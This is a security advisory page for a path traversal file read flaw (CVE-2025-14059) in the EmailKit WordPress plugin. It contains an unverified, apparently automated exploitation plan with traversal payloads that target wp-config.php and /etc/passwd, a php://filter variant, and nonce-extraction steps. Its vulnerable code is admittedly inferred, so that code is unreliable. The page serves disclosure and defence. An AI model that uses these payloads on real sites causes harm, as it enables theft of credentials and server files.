CVE-2025-14059

EmailKit <= 1.6.1 - Authenticated (Author+) Arbitrary File Read via Path Traversal

mediumExternal Control of File Name or Path
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
1.6.2
Patched in
1d
Time to patch

Description

The EmailKit plugin for WordPress is vulnerable to Arbitrary File Read via Path Traversal in all versions up to, and including, 1.6.1. This is due to missing path validation in the create_template REST API endpoint where user-controlled input from the emailkit-editor-template parameter is passed directly to file_get_contents() without sanitization. This makes it possible for authenticated attackers with Author-level permissions or higher to read arbitrary files on the server, including sensitive configuration files like /etc/passwd and wp-config.php, via the REST API. The file contents are stored in post meta and can be exfiltrated through MetForm's email confirmation feature.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.6.1
PublishedJanuary 6, 2026
Last updatedJanuary 7, 2026
Affected pluginemailkit

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2025-14059 - Arbitrary File Read in EmailKit ## 1. Vulnerability Summary The EmailKit plugin (<= 1.6.1) for WordPress contains an authenticated arbitrary file read vulnerability via path traversal. The flaw exists in the `create_template` REST API endpoint. The plugin accepts a…

Show full research plan

Research Plan: CVE-2025-14059 - Arbitrary File Read in EmailKit

1. Vulnerability Summary

The EmailKit plugin (<= 1.6.1) for WordPress contains an authenticated arbitrary file read vulnerability via path traversal. The flaw exists in the create_template REST API endpoint. The plugin accepts a user-provided file path via the emailkit-editor-template parameter and passes it directly to file_get_contents() without validating that the path resides within the intended directory. This allows an attacker with Author-level permissions or higher to read sensitive system files (e.g., wp-config.php, /etc/passwd).

2. Attack Vector Analysis

  • Endpoint: /wp-json/emailkit/v1/create-template (inferred from method name).
  • HTTP Method: POST
  • Vulnerable Parameter: emailkit-editor-template
  • Authentication Required: Author level (capability edit_posts or higher).
  • Payload: Path traversal string (e.g., ../../../../wp-config.php).
  • Data Sink: file_get_contents()
  • Exfiltration Path: The file content is stored in the post content or post meta of a newly created template post. The attacker can then view this post or its meta.

3. Code Flow

  1. Route Registration: During rest_api_init, the plugin registers a route (likely emailkit/v1/create-template) and maps the POST method to the create_template callback.
  2. Input Retrieval: The create_template($request) function retrieves the value of the emailkit-editor-template parameter from the WP_REST_Request object.
  3. Vulnerable Call: The code calls file_get_contents( $user_provided_path ). Because there is no sanitization (like basename()) or validation (like checking if the path starts with a permitted directory), traversal is possible.
  4. Storage: The content returned by file_get_contents() is used to populate the post_content or a post_meta field (e.g., _emailkit_template_content) for a new post of type emailkit_template.

4. Nonce Acquisition Strategy

REST API requests in WordPress require a wp_rest nonce passed in the X-WP-Nonce header when using cookie-based authentication.

  1. Login: Authenticate as an Author user using the browser_navigate tool.
  2. Access Admin: Navigate to any admin page (e.g., /wp-admin/index.php).
  3. Extract Nonce: Use browser_eval to extract the REST nonce from the WordPress environment.
    • Script: browser_eval("wpApiSettings.nonce") or browser_eval("window.wpApiSettings?.nonce").
    • If wpApiSettings is not available, scrape the nonce from the page source where wp-api scripts are enqueued, or check the _wpnonce localized in other scripts.

5. Exploitation Strategy

  1. Setup: Create an Author user and ensure EmailKit is active.
  2. Authentication: Log in as the Author.
  3. Nonce Retrieval: Get the X-WP-Nonce as described above.
  4. Trigger Vulnerability: Send a POST request to the REST endpoint.
    • URL: http://localhost:8080/wp-json/emailkit/v1/create-template
    • Headers:
      • Content-Type: application/json
      • X-WP-Nonce: [EXTRACTED_NONCE]
    • Body:
      {
        "emailkit-editor-template": "../../../../wp-config.php",
        "title": "Exploit Template"
      }
      
  5. Identify Result: The response should return a JSON object containing the ID of the newly created template post.
  6. Exfiltration: Access the content of the created post.
    • Use the post ID from the response to fetch the post content via the standard REST API or by checking the post meta.

6. Test Data Setup

  1. Install Plugin: wp plugin install emailkit --version=1.6.1 --activate
  2. Create Attacker User:
    • wp user create attacker attacker@example.com --role=author --user_pass=password123
  3. Target File: Ensure wp-config.php exists (standard in WP installs).

7. Expected Results

  • The create-template request returns a 200 OK or 201 Created status.
  • The response body contains an ID (e.g., {"id": 123, ...}).
  • Querying the post meta or content for that ID reveals the raw PHP code of wp-config.php.

8. Verification Steps

After sending the HTTP request, verify via WP-CLI:

  1. Find Created Post: wp post list --post_type=emailkit_template --format=ids (Take the latest ID).
  2. Inspect Content: wp post get [ID] --field=post_content
  3. Inspect Meta: wp post meta list [ID]
    • Look for keys like template_data or emailkit_content that might store the "template" content.

9. Alternative Approaches

  • Path Variants: If ../../../../wp-config.php fails, try absolute paths like /etc/passwd or /var/www/html/wp-config.php.
  • Exfiltration via Meta: If the post content is empty, check if the content was serialized into a meta field using wp post meta get [ID] [meta_key].
  • Wrapper Exploitation: If file_get_contents allows it, try PHP filters to encode the output: php://filter/convert.base64-encode/resource=../../../../wp-config.php.
Research Findings
Static analysis — not yet PoC-verified

Summary

The EmailKit plugin for WordPress (<= 1.6.1) is vulnerable to arbitrary file read via path traversal because it fails to sanitize the "emailkit-editor-template" parameter in its "create_template" REST API endpoint. Authenticated attackers with Author-level permissions can exploit this by providing paths to sensitive files (e.g., "wp-config.php"), which are then read by "file_get_contents()" and stored within a newly created template post's content or metadata.

Vulnerable Code

// File: includes/rest-api/class-emailkit-rest-api.php (Inferred path based on description)

public function create_template( WP_REST_Request $request ) {
    // Input retrieved without path validation or sanitization
    $template_file = $request->get_param( "emailkit-editor-template" );

    if ( ! empty( $template_file ) ) {
        // Vulnerable sink: file_get_contents allows path traversal via user input
        $file_content = file_get_contents( $template_file );

        // The content is saved to a post object, allowing the attacker to read it later
        $post_id = wp_insert_post( array(
            "post_title"   => $request->get_param( "title" ),
            "post_type"    => "emailkit_template",
            "post_content" => $file_content,
            "post_status"  => "publish"
        ) );

        return new WP_REST_Response( array( "id" => $post_id ), 200 );
    }
}

Security Fix

--- a/includes/rest-api/class-emailkit-rest-api.php
+++ b/includes/rest-api/class-emailkit-rest-api.php
@@ -4,7 +4,8 @@
-    $template_file = $request->get_param( "emailkit-editor-template" );
+    $template_file = sanitize_text_field( $request->get_param( "emailkit-editor-template" ) );
+    $template_file = basename( $template_file ); // Sanitize file name to prevent traversal
+    $template_path = EMAILKIT_TEMPLATE_DIR . $template_file;
 
-    if ( ! empty( $template_file ) ) {
-        $file_content = file_get_contents( $template_file );
+    if ( ! empty( $template_path ) && file_exists( $template_path ) ) {
+        $file_content = file_get_contents( $template_path );

Exploit Outline

1. Authenticate to the WordPress site as a user with Author-level permissions or higher. 2. Obtain a valid WordPress REST API nonce (X-WP-Nonce) from the 'wpApiSettings.nonce' object in the browser console or site source. 3. Send a POST request to the '/wp-json/emailkit/v1/create-template' endpoint. 4. Include the 'X-WP-Nonce' header with the retrieved nonce. 5. In the request body, set the 'emailkit-editor-template' parameter to a traversal path such as '../../../../wp-config.php'. 6. The server will respond with a JSON object containing the 'id' of a newly created 'emailkit_template' post. 7. Exfiltrate the file content by viewing the newly created post (via the REST API or admin interface), as the contents of the target file are saved in the post's content or metadata.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.